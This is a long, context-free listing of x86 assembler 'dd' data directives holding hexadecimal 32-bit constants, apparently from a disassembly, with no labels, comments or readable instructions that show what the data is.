		dd 0C7BC7C16h, 391F9130h, 0CC4E1A2Ah, 2B08AFB8h, 49500D20h
		dd 0FF249CEEh, 5C108DA4h, 8C6AE158h, 0D07781F0h, 0F3D8AB55h
		dd 95181880h, 8721F082h, 907730CEh, 488A6277h, 8E0495DEh
		dd 6FFB00A0h, 9DAB309Ch, 2B08F82Ch, 4BAB6F40h, 15680831h
		dd 0EB3AA0FBh, 4AD9C534h, 86B87C15h, 0E108A03Ch, 9EB06A31h
		dd 5AB31501h, 3A90F1Ch,	1538C8F9h, 1281108Ah, 9E98D06Ah
		dd 45E0AA59h, 6E81B8Bh,	0FFFA239Dh, 16CA1559h, 0F5A178B3h
		dd 33D9C533h, 96E23ED0h, 10CE2E1Bh, 0FB88A93Dh,	5B8C2E79h
		dd 47A69885h, 0F4B8EB2h, 8A39F8DDh, 0A5DA835Dh,	0DC83344Fh
		dd 196079C3h, 715EAA39h, 6E45FA4h, 859CCAE3h, 63CDEC39h
		dd 5A473057h, 24A40877h, 0B18FD48Dh, 2DF104D3h,	48D0181Fh
		dd 0A2834A8Bh, 47CB6A3h, 185B0327h, 630A042Fh, 71A2CB04h
		dd 8844B661h, 0E2710808h, 94BCBB7Ah, 5A7F51F4h,	0A12A69C5h
		dd 8101907Dh, 3191427Ah, 0C184464Ah, 5BD83607h,	0A06A318Dh
		dd 872C4EF9h, 9F23DAD2h, 0A7A12F48h, 2086103Eh,	0B9E64E04h
		dd 0AA051FD2h, 0B0E04C29h, 90652309h, 4C6DC490h, 63E263CCh
		dd 89CA49B0h, 44E13124h, 37070AF8h, 0C23943B0h,	0D085AF81h
		dd 0DDB47CE0h, 2CE37808h, 870A0C20h, 368A2B38h,	3DD20D80h
		dd 639587Fh, 0DF5639E8h, 3657C170h, 3984A1D4h, 0D4AC344Ah
		dd 0E706C98h, 521B7818h, 80356A39h, 70ADDD2Bh, 0E82BE88Eh
		dd 0A8A8C5Ch, 1E8ACB38h, 4B202E70h, 0AA393396h,	0DCE40C40h
		dd 8BF70ADh, 8C73FE52h,	6B38DECAh, 0DC70DB56h, 0A4281A04h
		dd 7119195Fh, 32419824h, 0ADDA4B08h, 0D0388178h, 121CF0Dh
		dd 706CBB0Ah, 6078DA2Bh, 0DCF550E0h, 902A39C4h,	9A20B06h
		dd 0C17CD956h, 69CF55D3h, 674A4188h, 0EFD84B0Bh, 0FA118670h
		dd 6A2D3938h, 0D7940575h, 11FF746Ch, 8173CA1h, 19A7818Ah
		dd 41270995h, 1FD7ABF4h, 0CB3F1502h, 7226219Eh,	8846241h
		dd 7CB6D62Bh, 0D9AB1C08h, 0CCCA8460h, 0F8D508A5h, 212201DBh
		dd 409EF8E6h, 0B88FD4A5h, 1F3B665Ch, 0C86FF0D4h, 74A12B38h
		dd 0CA77BCE0h, 2A39C62Fh, 0D3567173h, 2518C170h, 39885411h
		dd 7B935C4Ah, 15A1C483h, 78D2AB08h, 4C27DFB0h, 6A494A62h
		dd 77AB024Eh, 6CD198A5h, 0E511617Ch, 8A13AB9Eh,	0D01CC286h
		dd 0FF087CB6h, 8C1ABDFEh, 0AB388BAAh, 1DEC3C8Ah, 0E23F2E88h
		dd 8B388E62h, 0A74B6CFh, 0FEFAB3AEh, 399046ECh,	0CEE91D64h
		dd 0A308577Ch, 823AB73h, 4B08940Ah, 0DA85F8CEh,	39122431h
		dd 0CB01392Ah, 65099951h, 88B8789h, 54C1940Bh, 2B0884E1h
		dd 0DB06A74Eh, 2E4DE0AAh, 94CD2B40h, 3DA99CE0h,	4A79CEBFh
		dd 9855B1D9h, 0BF8D209h, 839CAFCCh, 470EA0F5h, 336A493Ch
		dd 7483F0A2h, 9AA64A0h,	0BD4B06BAh, 9C666C1h, 0AB79C007h
		dd 269DB0AFh, 8BE3A408h, 6041F78Ah, 4B05FCBh, 26E09E57h
		dd 0F01BAA44h, 0AB8061D4h, 0CA89CA2Bh, 738DF898h, 3CE62422h
		dd 11C01CCAh, 0C90B40C5h, 119A947Ch, 7CA89E1Dh,	56928920h
		dd 72CE7CC7h, 5DF00A84h, 308CC04Ch, 20A492C4h, 2863A40Ch
		dd 75504B08h, 0E2E0A311h, 0B5D849A6h, 19EE0999h, 0B8202431h
		dd 0D4C4C1CAh, 48C80594h
		dd 88086FADh, 824B0BD0h, 1DBD841h, 0C068486Bh, 95388924h
		dd 3CF0C4C8h, 0B120808Dh, 0D32A3324h, 6EC6BC8h,	6F09CB2Bh
		dd 4D8CC014h, 11CC54D1h, 498BB851h, 0AE37C8ACh,	0D9BAC608h
		dd 662BF240h, 0D13509F5h, 8B083663h, 0C1F120BCh, 32C8CB20h
		dd 0A5E90C4Bh, 1088D627h, 892B1985h, 8B01E009h,	32F0BE4Ch
		dd 28D094Fh, 0B02904Bh,	82244FC7h, 363125FAh, 9A4A84A2h
		dd 72655858h, 0C8E7C6E1h, 3971E7C1h, 2C9E1324h,	88C0CB40h
		dd 0A7F8C4EBh, 9E311AAh, 40AE3024h, 0CB9021ABh,	0A69288h
		dd 0C54A09A4h, 30A0287Ch, 0AA51416Fh, 80A184B6h, 4645BC3h
		dd 93A3ED55h, 84B8CA42h, 606CC205h, 8B1111D6h, 0BA647CCEh
		dd 54500B38h, 0ECA97DF1h, 0B0B925DEh, 0BEC1A932h, 3B5B0CD8h
		dd 2A399B51h, 0D87D4933h, 0C0092B77h, 0C96E6074h, 41C50998h
		dd 20F07A4Ah, 8374ADBFh, 0D8A62849h, 0DD6A390Ch, 0A0A8E062h
		dd 9A3C6BD8h, 8BD88864h, 3109CBA5h, 0BF4BA082h,	68210C3Eh
		dd 8A61E152h, 40608932h, 888BEBEh, 0A8585630h, 610FAA85h
		dd 841FCCF1h, 43660804h, 0DCCA43D1h, 0C370755Fh, 92210BD0h
		dd 0E46C082Eh, 0A890BC94h, 7CC2224Bh, 24B26EF8h, 0C27CBC56h
		dd 0C25E6EB9h, 9D04A328h, 0EC30184Dh, 52208051h, 640680A0h
		dd 65129CB4h, 6B334C06h, 6305F28h, 287B5EFCh, 387C7535h
		dd 26ABDCE0h, 0B11C9362h, 5BA78B08h, 761D0664h,	2D91BFD6h
		dd 70067C2Ah, 0EB2208A5h, 0CBF540CCh, 50511E20h, 49ABD87Ch
		dd 0A82BE061h, 23D0E0C0h, 69C408D6h, 8B066E4Ah,	0BF400996h
		dd 0ABE8400Bh, 50511020h, 20EBD4D2h, 0A94962A4h, 0CC3DF010h
		dd 691E617Fh, 994EC56Ah, 25B14A98h, 324B1820h, 0AA087D32h
		dd 0DC08D8BEh, 8C019D4Ch, 0B50B98Ah, 0CB481F61h, 1B0D8052h
		dd 0A26F04B4h, 0AA42A610h, 30C95242h, 0BEAB027Ch, 574708A0h
		dd 0CA8C582Bh, 57AB4027h, 96C188ACh, 17609840h,	4F7925C6h
		dd 0F08C7DADh, 27405AAFh, 70AD560Ah, 0D63CAC1h,	0FE31A758h
		dd 56EC205Eh, 27C16CAEh, 23EBCEFFh, 6B38620Ch, 0C6CB6AFh
		dd 2F300AACh, 54326A71h, 8136A05Ch, 653CCBF4h, 84B809Bh
		dd 283E499h, 12E0565Ah,	469CB0F0h, 0D9088F63h, 9B181892h
		dd 94410893h, 975390A0h, 988F38C6h, 99072410h, 8121B00h
		dd 8B0164C2h, 38BC9BFBh, 43B89C32h, 0D2592469h,	4ECAF04h
		dd 0E2C1BC3Ah, 0DE08C0BEh, 860DA6D5h, 305E3A8Ah, 0CD094164h
		dd 0C8F62B06h, 5650B25h, 0D47CB028h, 533F0851h,	0AA0C26ECh
		dd 31AB4821h, 10E85F97h, 852A0161h, 0F0C8F502h,	8D39024h
		dd 83F07CA1h, 3EECAAAFh, 79883FF0h, 0CAC9C731h,	0B2CB0113h
		dd 2A04F05Fh, 5F8B0CA6h, 0B2F91119h, 8719C5Fh, 286AED05h
		dd 5DE10A06h, 8CB35770h, 19928BC1h, 2A398871h, 9AAB06D7h
		dd 7E64E060h, 147CB4F1h, 0EC9EB911h, 4C1E4A13h,	6B082F60h
		dd 0C17CB556h, 0CAE0530Ah, 1C6A898Bh, 0B41542Ch, 0C180B657h
		dd 0E1A6DC3Ah, 950C8A11h, 2FF02479h, 38303EB6h,	41E3881Eh
		dd 793078AAh, 872B08DBh, 61178060h, 0D0B948C9h,	8CB75758h
		dd 0BB2AE9C1h, 77CA11F7h, 99DA5199h, 2058BA86h,	0B1CB2E16h
		dd 0C3C796C8h, 6874B884h, 15C18D6Fh, 0AAC6F0A4h, 0F1754561h
		dd 0BEB912BCh, 729E04A0h, 62983E2h, 57A1B40Ah, 86DF9CB9h
		dd 3969EB7Ah, 4BA72A22h, 3EC8DFBAh, 0A9EDB177h,	4078BB4Ah
		dd 0C30C69F8h, 4140901Ch, 0E881667Eh, 6B200888h, 0E34B2592h
		dd 9486B04Fh, 2C49DCE2h, 0BD143E6Ah, 0C526C8CDh, 9EF99E8h
		dd 0DF9024B0h, 24C509C9h, 98922EECh, 1CE8E993h,	635CD074h
		dd 69FFD865h, 6B72825h,	0F008BB44h, 3083649Ch, 0F58CA051h
		dd 70188CEDh, 6650888Ch, 97DC0AEh, 4821AB41h, 848B0889h
		dd 0E2533478h, 2801F0A0h, 8019F839h, 636F0F0Ah,	3309F958h
		dd 49788504h, 43EEC44h,	72112AEAh, 70311997h, 5BF5ABA0h
		dd 6E23021Ch, 218F863h,	6B04794Ah, 4BB0DC51h, 0BB2290FBh
		dd 80F45719h, 6A4AA2C1h, 8A318416h, 0F309859Bh,	0BA0C543Eh
		dd 39322E37h, 68F256AAh, 0C31712C1h, 0CA3184A5h, 0F20A859Fh
		dd 0A5AED868h, 0F999FE22h, 0F144C9DEh, 971F6C5Bh, 1A79C851h
		dd 39550A0Ch, 49509A7Ch, 667D1CF4h, 87988AFh, 19B40B20h
		dd 10B09F4Bh, 1D845FF0h, 6C9AAE32h, 58536269h, 88EF5700h
		dd 4B6EBAC1h, 4A398835h, 0D888C88Ch, 0BD3102A2h, 7D6A3907h
		dd 7491AB01h, 8CAFEE64h, 0F05F989Fh, 370CF8A9h,	0ADEC7063h
		dd 69668F74h, 0AA8BD268h, 0B60CA6ABh, 0C34B2008h, 0B80D0F6h
		dd 0FE6B81DCh, 8A188076h, 80972B08h, 11C8C10Bh,	16F590E2h
		dd 0AC4B7ACBh, 1E8CA5BEh, 93CC44Ch, 12768959h, 6CE425A7h
		dd 47118760h, 0CA195857h, 146BF814h, 11A7B86Ch,	7C54353Ch
		dd 4B381562h, 3EB4BEEBh, 0E890562Dh, 0CA0A0C1Bh, 9A0B7062h
		dd 811E7420h, 7F04E22Eh, 0F1D5092h, 0D868EA0Ah,	0C131ECC7h
		dd 0DB2A613Ah, 3FE92B01h, 3134F47Ch, 4A395C07h,	0A61112E6h
		dd 0F0082488h, 8599C834h, 2B8F203Ch, 0E098E8EBh, 0D82E6A65h
		dd 0EF9061DDh, 98E88B15h, 0FCEDCAF0h, 578A2144h, 2ECF80E7h
		dd 4F86BB84h, 5049D6AAh, 6C895E6h, 39C37C7Fh, 8551CA10h
		dd 93408424h, 3D049EBh,	4F744424h, 9B2010A4h, 689EE5F0h
		dd 6F4083F8h, 4D8469ABh, 4A90950h, 9C918B8Ch, 0C407C1EBh
		dd 0DBAB04CEh, 7CE50B05h, 8708C998h, 161C928Dh,	0E3E8120Ah
		dd 3C9FB080h, 3E2020D8h, 4F1ECA18h, 0CA7D2588h,	0A1C0F6A0h
		dd 231D7028h, 0C2CEAF1Ch, 41A61838h, 0CA5DC0F9h, 0DB28FEE8h
		dd 20F09014h, 0D9423320h, 8B4008BEh, 0F8096554h, 7A10A669h
		dd 0CE587EF0h, 7090EE20h, 0C81C3C9Dh, 696C4FA8h, 0E1B8442Ah
		dd 0E43240BAh, 70144879h, 0F1F14114h, 68066E9Dh, 6F80995Ah
		dd 0E08608FAh, 4328109Ah, 14EE09Ch, 0F0648C9Eh,	414A2808h
		dd 654890B5h, 6B90DE31h, 0DF680685h, 0C3171308h, 0A0780D58h
		dd 9900D658h, 63BF209h,	888C3024h, 0F00C765Eh, 672B08BEh
		dd 4826C923h, 0EB084518h, 10966635h, 8B20D856h,	66D0F8DEh
		dd 0E03F189Bh, 8D9FE4F0h, 283DE8F8h, 0CD3F23E0h, 6A2074A6h
		dd 39EB20ADh, 98D86B20h, 11BAE3D9h, 489212C0h, 0D0E90F64h
		dd 9E8191Fh, 29E990EBh,	867AB1Bh, 38F36E1h, 0BD81015h
		dd 0E9EB0C2Fh, 0DD501898h, 182D10E0h, 6B08D7ABh, 0CBE8C4C9h
		dd 28B0238h, 425C45B3h,	8A381F90h, 11D8D349h, 1A33DC7Ch
		dd 0B810DBC9h, 0B448F6EBh, 406BB062h, 3CF0D724h, 62B1DC3Eh
		dd 0DAC48C54h, 4502E283h, 0CDBF6274h, 6604AA38h, 99469076h
		dd 8AE42083h, 74A8CA58h, 75C1CAC1h, 50254898h, 0A0C42BEBh
		dd 0C8A048Bh, 73D76FC4h, 64FCDCEAh, 5DCA971h, 18C4C04Ah
		dd 1432224h, 9A7A5E0Ah,	61087940h, 10937B5Ch, 4890C16Eh
		dd 51189897h, 92066B08h, 8106308h, 0C81DED0Bh, 5220F44Bh
		dd 2FB1B806h, 2A444CD5h, 0B1AC0752h, 1C4C2748h,	5DCE204Ah
		dd 2048E34Dh, 1E8B20E8h, 4B80FBF8h, 491CBA07h, 0E520D863h
		dd 0D44CAB24h, 0F8DFFD96h, 5C272315h, 70D6A85h,	4812CB98h
		dd 0B0463212h, 526892D3h, 28B3CC08h, 28A718Ch, 98B488Ah
		dd 0AA31DCA8h, 0A14BE003h, 0B00AE994h, 44AC20ACh, 196CCA20h
		dd 4893876Bh, 0A38246Ah, 37595C91h, 62EA4C58h, 66CB4850h
		dd 3A489A27h, 0E7C194D7h, 0EA35C9B4h, 904B5C49h, 0CB186191h
		dd 0C2B0897h, 288798AFh
		dd 492CA25Fh, 8195ED2Ah, 0B6F0900Dh, 9742AB78h,	0D4A4162h
		dd 70C584BEh, 1C37666Ah, 786D0E95h, 987B7088h, 0BE0F8AE2h
		dd 380A5670h, 4F6CAA08h, 85E280Ch, 0B88A6E71h, 52088BECh
		dd 0F78885B7h, 9864A8DFh, 32CA285Bh, 3405DE9h, 6FDE5C49h
		dd 0D46CA00Ah, 3CFD253Ah, 7AB8C404h, 0FAEA7165h, 0FF4AF024h
		dd 48D9B893h, 8B0CEF58h, 80CB713Ah, 97402B6Bh, 0C69940AFh
		dd 333808DFh, 156C389Ah, 74FDCB08h, 0F89B03F2h,	540A0FFCh
		dd 144B19A0h, 34302281h, 3034E1ABh, 4B08C40Ah, 5090D269h
		dd 77FB3069h, 2914D5ECh, 2A883865h, 37AB0C0Ah, 0B803909h
		dd 12EB8041h, 0BA31A0B2h, 6A2C0869h, 982E098h, 30CC729Fh
		dd 0BABF09ABh, 7D1C201Ch, 10808C33h, 4B0817C7h,	0CE204C16h
		dd 0D940CB08h, 6BE7402Bh, 4184DC20h, 88B843F3h,	8132831h
		dd 4B0114EBh, 7284343Bh, 7FCB08C4h, 0B46524C9h,	0DA028FF9h
		dd 0F89EAB02h, 2B01E320h, 9EC24BBh, 5B1A24BEh, 104C6308h
		dd 11728B08h, 9C2082EBh, 98696B19h, 6D29420h, 0DF6409D8h
		dd 5B49F419h, 0D27E4841h, 6CD26405h, 0E2144995h, 9E71198h
		dd 91D69B01h, 241C2C4Bh, 1816A37Ch, 0DD0B0848h,	687C4589h
		dd 96006924h, 41307DFAh, 1C988338h, 8B16404Ah, 326A2820h
		dd 95587A75h, 531520FEh, 0C1542DC8h, 888657Ch, 4B08D1ABh
		dd 0F08B08E6h, 0AFCCB08h, 909C04EBh, 1AAB1E12h,	0B4355420h
		dd 0E64B8140h, 298CB02h, 0A08FF26Bh, 0B8A2FA8Bh, 884A990Bh
		dd 11BCA826h, 2B9C3C50h, 0ACFCFB48h, 427C9172h,	58221C6Ah
		dd 0ACE7047Ah, 9FF32DCh, 0BE5C49AFh, 8ED40989h,	0F3E060ADh
		dd 0B64BB186h, 0ACF84054h, 8A09853Bh, 0E89CA349h, 6040245Dh
		dd 0FCD9BAB8h, 537D1512h, 1230C2A0h, 3E123076h,	4C07048h
		dd 9941A2Bh, 9C0495F9h,	0AA8EA332h, 1C2E304Fh, 2BF892FCh
		dd 8D8B1128h, 0A8B5CACFh, 96E82924h, 29602B07h,	0EA43D0BAh
		dd 0CB901463h, 4B13842Dh, 0C20846C9h, 0F0C6A992h, 5DF98BEBh
		dd 0F82DBC9Bh, 0CEC0F467h, 44DF65EEh, 0D4B3102Ch, 59128CE0h
		dd 0CA31C897h, 1F89DA5h, 0B57154B4h, 110A013Dh,	99C1D467h
		dd 8B5DB7B0h, 3E122A31h, 77322ED0h, 4A3130B3h, 88A7B313h
		dd 0DCD609C0h, 711E65B3h, 33703B13h, 74EB2007h,	51F10129h
		dd 5C558F50h, 8AB4703Ah, 0C14E791Dh, 0E4D2D86h,	5DD41828h
		dd 31FC304Ch, 0B40FF5FEh, 3F9B036Bh, 884A5BC0h,	1299A973h
		dd 5C4359h, 9C5792E1h, 70056E7h, 5A28B94Eh, 371EA9Bh, 1E9EEC14h
		dd 72D87CF9h, 3200EEB6h, 60F02206h, 3C66D0h, 0C3A47BEFh
		dd 8F6221B1h, 0BD123A00h, 0ED43D986h, 0CC0100D8h, 36C95E66h
		dd 0CB0038E4h, 917E3A10h, 3F8AB46Ah, 298BC858h,	80DF9E21h
		dd 7092E7CAh, 0C5940027h, 3F28F93Eh, 780026E4h,	0B41ABA7Eh
		dd 8D4A6Dh, 82DAAD40h, 0F133BF73h, 0D6F50300h, 0F00F766Fh
		dd 0FF6001A2h, 0BE47425Ah, 7FDCD0A4h, 0D66CAC0Eh, 1527C009h
		dd 327648h, 0A92A917Ch,	0B382FFFCh, 1439500h, 550D4064h
		dd 7983FEFBh, 447F8Dh, 92FC2363h, 0A1536830h, 0E8246C00h
		dd 83569F61h, 0C5C002Eh, 0FF8892F1h, 86F27B01h,	9E30AB00h
		dd 9D1546C3h, 0FAF828h,	472A9BBCh, 0A379A0D2h, 4600C1E4h
		dd 442E03D9h, 218104h, 936EB218h, 0AAB176Bh, 0E388B500h
		dd 3FA66C9Bh, 0E18600A5h, 2C855810h, 0B3FE1A5Ah, 42598900h
		dd 6F78185Dh, 40D100D9h, 6007E19Bh, 0DC006EC0h,	0FF223EE9h
		dd 3A4653B8h, 0AA3DF32Dh, 4D184C01h, 0CC16EC95h, 3B035125h
		dd 1B58EED7h, 0BD75E824h, 0D91807EAh, 40FC45C0h, 7B9442A7h
		dd 77C9B103h, 0F00E0DB3h, 2B268Fh, 0C3D48827h, 76E49620h
		dd 7100B471h, 2ADFA081h, 1D4A6Ah, 83B13412h, 0C02EA95h
		dd 72049900h, 0BB77CEA3h, 1E730046h, 685F2D67h,	3101CF29h
		dd 8C2AE8B0h, 0D120324Eh, 756A0098h, 766C885Dh,	8A0008FCh
		dd 54359C64h, 1A1912h, 91F03B55h, 0C0992471h, 272153Fh
		dd 0A22BF01h, 0CD7C40A7h, 3D700ADh, 3387683Bh, 98040E09h
		dd 0F20F4899h, 5FCEC090h, 0C820F3EFh, 0E09E24E1h, 0EA2E0050h
		dd 0DF4607Eh, 2C102B00h, 21061959h, 0DF3C24D4h,	0C1CE00A2h
		dd 559C491Bh, 5D10E900h, 96586936h, 87990083h, 984556E4h
		dd 1D006CEFh, 0C82FA9F3h, 0E2019C1h, 6478BA3Fh,	0D143B060h
		dd 0F3008331h, 2A7F4CCBh, 0C52269h, 23EE3D05h, 57CC4E62h
		dd 0E4488000h, 97F26DDAh, 69261FDBh, 80A5DC1Ch,	0B3D9E29Ah
		dd 0C302685Ch, 0F4E1C98Ah, 9009C3D5h, 81D7BBh, 0ED88727h
		dd 0F214E92Bh, 4B0B500h, 3ECE0D57h, 0A6EC0146h,	4C314154h
		dd 783DE02Bh, 0A3641100h, 63AFBA18h, 49CD004Dh,	0A1C7FD8Bh
		dd 0E6E0E2C3h, 600C4100h, 20898AEFh, 2C761DECh,	0D46740DEh
		dd 0AC2FD885h, 0A63E5200h, 0EF2D325h, 0EC6B28EFh, 0E767FC0h
		dd 527D7FE8h, 8736C560h, 680067B7h, 0C7D76D3Dh,	0F62989h
		dd 0B9EC2E90h, 30E5B250h, 5D39DA00h, 299BC725h,	7BA80769h
		dd 0C073FF6Bh, 4EBC2260h, 966F900h, 553BD567h, 8C2D0065h
		dd 0C4DE3449h, 0B100FE18h, 0C68D076Ah, 384190EFh, 83806823h
		dd 0DEA60A3h, 0F100D35Ah, 0EFE3C146h, 0EEF940h,	8321BE7Ch
		dd 4DDB8C5Eh, 0FBDAEA00h, 8B22CA6Fh, 0C31E3A39h, 0D2B46600h
		dd 80521933h, 35862412h, 15EA2400h, 63EDBAh, 27ACB9D6h
		dd 51DDBE3Bh, 0F9413800h, 7ACC9152h, 0D44A5064h, 5D280014h
		dd 0C45E09A8h, 150089B1h, 0D1D5FDADh, 7FC8D24h,	2CBB9C83h
		dd 0B8DCE1FFh, 49EE302Bh, 463B6800h, 0F98B63B6h, 818000C4h
		dd 0AC56B372h, 790F58E3h, 40C5570Ch, 87EC1E7Ch,	0C3180393h
		dd 2B4E849Eh, 820F4FE0h, 8E51D100h, 0E525B1Fh, 8DCB00D3h
		dd 2993FB25h, 5300B6F1h, 3936DBA8h, 0FD2769h, 37CD0F66h
		dd 47F695AEh, 15B6F7A0h, 0B980C100h, 9D0ACA93h,	97460024h
		dd 0C9146BEEh, 7B1DF40Eh, 23405F09h, 0CBA05536h, 0A9DC014Fh
		dd 0EC108831h, 744ACC32h, 0DA3BEA02h, 60061FC9h, 86931Dh
		dd 0F64ED0E3h, 0B399FA7h, 70C65600h, 0D81BAD52h, 0ABE00018h
		dd 0B19726D6h, 0A0F62B17h, 0CC274100h, 8AFCBA4Ah, 0DC6919D2h
		dd 0E0511A2Ch, 0D64DED42h, 0AB040047h, 0FD4B1E22h, 7A4107B6h
		dd 0E053AAE9h, 0EE9AFF08h, 36DBD03h, 0F0D6B4A8h, 1C64BF2Ch
		dd 80430977h, 0CF5F6893h, 606EA42h, 0E429D433h,	35F402B0h
		dd 4B0DD688h, 0B05395E0h, 79D52D00h, 0CD0C9391h, 0DB080005h
		dd 0EFBB4A9Eh, 0D10AADC6h, 0C3F6136Ah, 48F3DE00h, 0E09E0A4Eh
		dd 0D03A00ACh, 0D6168B70h, 0C81FDAC4h, 0F902FF82h, 60468DFCh
		dd 99A67Eh, 0E8447E5Dh,	87630522h, 72ED5A12h, 79D5E8h
		dd 7C5838EAh, 0E69C0842h, 86485C00h, 7067AB95h,	39D9674Eh
		dd 0F0E3C79Dh, 29B4510Dh, 1BBFC600h, 0E580C2AAh, 177947h
		dd 0E97B4C62h, 1CD82C24h, 0FD000898h, 0C9EEA88h, 0F91640h
		dd 4FF39015h, 9C91DE1h,	3EFB1700h, 0A54E7AADh, 7B5200A9h
		dd 417F85BDh, 907BB69h,	92FEB43Ch, 0FFE32943h, 906B96C3h
		dd 0B3EE2Ch, 4604584Dh,	0F5791F5Bh, 20CA6300h, 0B419516Dh
		dd 7B7F0380h, 34F66667h, 0F1ABB3D0h, 263AA600h,	3CC2B0FBh
		dd 35B40021h, 66612F6h,	0AC00B82Dh, 0B23A683Eh,	87FC9Eh
		dd 34EE01B0h, 158BD65Ch, 6AA038h, 0DB079D42h, 3EB810h
		dd 38FF2851h, 7B47B3F5h, 80E7BE3Ah, 4DD41ED3h, 7D7321A8h
		dd 0A06A0012h
		dd 9A5D0C3Ah, 0B200CFE5h, 93ECC992h, 1EF993Eh, 0FF629649h
		dd 0C0299D52h, 0B30209DCh, 208410C4h, 0ADEF60D6h, 6AE10BD0h
		dd 8C0C999Ch, 0C807F84Eh, 3A64791Bh, 0D5AD1400h, 0DF7186h
		dd 2784FFE7h, 6E71986Ch, 6F9A30FBh, 50057E8h, 0EEB667E6h
		dd 1C8A6E9h, 3593EFEDh,	0C898BCD7h, 0E4A08976h,	410083D5h
		dd 9A3086A6h, 3F6CF964h, 288054AFh, 0B3ED05FBh,	78000449h
		dd 8F9ED044h, 0A6DEA5h,	103337A8h, 24558A63h, 0F0063A1Eh
		dd 0AA92ED80h, 7A8B69h,	0BC939F29h, 560544DEh, 9A2B8F00h
		dd 3E730E34h, 6F80006Ah, 0E8E513D2h, 91004C9Dh,	681663F6h
		dd 0FE081C9Fh, 83E83Fh,	0CFB96220h, 4E17AD6Dh, 0E5075FF2h
		dd 0DC1BF301h, 0C4A09B24h, 0CF610EE2h, 32015767h, 61B6F3CBh
		dd 0A6A13040h, 0F0BD4309h, 0A107006Fh, 36D95F4h, 22449D20h
		dd 32E06785h, 0ED334E23h, 0F02439A0h, 38C6FDC1h, 0FF814D90h
		dd 421FCE50h, 303AE827h, 0B00E24Ch, 805368CAh, 0EB12DDB0h
		dd 92BA00A6h, 0AE33980Dh, 603E25CFh, 3BAD09DFh,	2B9381A3h
		dd 2120E8D5h, 0AC69004Bh, 8401E05Bh, 0EF0043E1h, 50CC29D6h
		dd 109349Fh, 38FE4D10h,	0F8B0F382h, 920099BEh, 529D66E3h
		dd 870CFh, 9A022B93h, 0AD78483Ch, 0B438EB0Fh, 0C42E8E6Eh
		dd 50B07743h, 2A5500A2h, 4152E8CBh, 1D001062h, 0E225E538h
		dd 4C50F47Dh, 6C00CDBCh, 0F320B48Fh, 0B300B9BDh, 459A220Fh
		dd 0EB06891h, 0DF9F4A7Bh, 93CE61E7h, 38E81456h,	3602077Ch
		dd 76C82CE8h, 0D5E8C8A1h, 0D87D90h, 8A927D3Bh, 6EBC7EA0h
		dd 2C3CFE00h, 5127D6B3h, 31BB6F31h, 0DE5F67C0h,	3002D57Fh
		dd 8BDD3BAFh, 25E0E853h, 44E0119h, 0DF11321Ch, 6D88E48h
		dd 60C22E61h, 9B5769CDh, 96A80092h, 5568355Ch, 0A91E759Dh
		dd 66035B97h, 71873Bh, 3A653611h, 8DAF9588h, 63CB5500h
		dd 24AD5F39h, 1E2C9009h, 62AF7CDh, 1006FBE9h, 972B1F1Fh
		dd 7888D3Eh, 0C7F08049h, 0CC0B01D5h, 0CE630F58h, 0AD5CD050h
		dd 0D8114305h, 5980CF7Dh, 0C2EF08C6h, 0FC6C4430h, 460D70C0h
		dd 0D11F09F8h, 740032BEh, 0C9ACA2F5h, 28DE82h, 0EFC5692Bh
		dd 0F1C1492Ah, 0B6C9A9Eh, 0EC01C4F0h, 2CD30059h, 6BFC950Fh
		dd 5805D81Dh, 9C4D4814h, 9D69B580h, 20CB506Ch, 0F7801D0h
		dd 0F024CE57h, 8910240Ah, 72490518h, 0D4A058h, 0EA37C01Dh
		dd 1CFCE79Ch, 4C25D007h, 1750CBEEh, 77B19478h, 14AFE40Eh
		dd 0C8EF4244h, 0AEA36580h, 0C006CE66h, 88C60B0Fh, 21626008h
		dd 52AE9B8Ch, 2B4A391Ch, 661C3000h, 0F489E9h, 85D2909Ah
		dd 6D4CDA14h, 572C7800h, 0E28FF217h, 1808614Dh,	0CAA8700Bh
		dd 1CAD9E03h, 7C029158h, 1821D931h, 0D0B40478h,	0CD9406BAh
		dd 1879C4A0h, 61FB051Ch, 0FAA450F0h, 904B528Ch,	2448E107h
		dd 0CB76D718h, 80BE5985h, 448043BCh, 70407260h,	0A4D39A45h
		dd 0A32624A0h, 0B9900009h, 8987EF68h, 211F08CCh, 256984Ch
		dd 7F4D8BAEh, 9C888620h, 615E18B0h, 0D60004D0h,	8C0B57FBh
		dd 7D79F8h, 0A8E8AE82h,	86FA05C8h, 4C3A2700h, 0C3FF2E0Ch
		dd 0C7746Bh, 0AEE4136Ch, 8B4DD52Fh, 450F901Fh, 0E108F3h
		dd 2FB60B21h, 0B218F2E2h, 3B1F9A3Eh, 788D0083h,	31EDD2F9h
		dd 0C4E90773h, 4C1054B5h, 22003338h, 388ACA42h,	669270E3h
		dd 211F0808h, 421ACD00h, 0E07988ECh, 0CB60038Ch, 0EFB2F146h
		dd 20D75018h, 500428h, 0C4136D05h, 0F52F017Ah, 610A20C3h
		dd 1C04A5BCh, 130DF722h, 0B0909161h, 0C5421D81h, 31CE68Ah
		dd 904215D2h, 0F900CE6Ah, 8C1075Dh, 0E47DA661h,	6B3E0050h
		dd 3FE369BEh, 17E2450Dh, 0AB53541Fh, 0DC019E06h, 0BEB08118h
		dd 2F08A918h, 0C4B34DDAh, 0B10641DFh, 8BD4CC2Fh, 944A00A7h
		dd 5988B5A4h, 0E0C39A58h, 0C1746C99h, 10809CE8h, 0B8692C7Ah
		dd 6500B371h, 4F33D910h, 61BAF1h, 9E6AF989h, 464C0491h
		dd 3FBBC000h, 0A22A987Eh, 0F7279h, 0B16B36F8h, 7F761E29h
		dd 6800EAE0h, 5039FF2Bh, 1CF253h, 36E196A6h, 0FA37E4Eh
		dd 69ECA200h, 31E44BDh,	17150039h, 0CD73475Eh, 8C1BB7D8h
		dd 0E8307FADh, 0C35BC72Eh, 912D0E18h, 7E334800h, 8D40EB5Ch
		dd 65390E14h, 9BE0FE23h, 4CAD82A1h, 8E877E06h, 1309E48h
		dd 3F2AA6AEh, 0F17F4504h, 8519835Ch, 80C6B3CDh,	0F56F53h
		dd 0EC862D57h, 1D06CE04h, 827E4801h, 0F11F2CFCh, 1FE2FD4h
		dd 0F3D8AD8Bh, 0F04685BFh, 0A63CCCF9h, 0E3180ACDh, 2803F1ECh
		dd 0C00AE50Ch, 6674213h, 8F91A19Ah, 9C1E7960h, 5DC0CEF7h
		dd 8D79E4AAh, 3B53006Bh, 18E21930h, 0CA39F4CDh,	0E4F706A2h
		dd 39E331h, 0BBD0554Eh,	0A1E0E9E2h, 0D7195E18h,	14DA9E18h
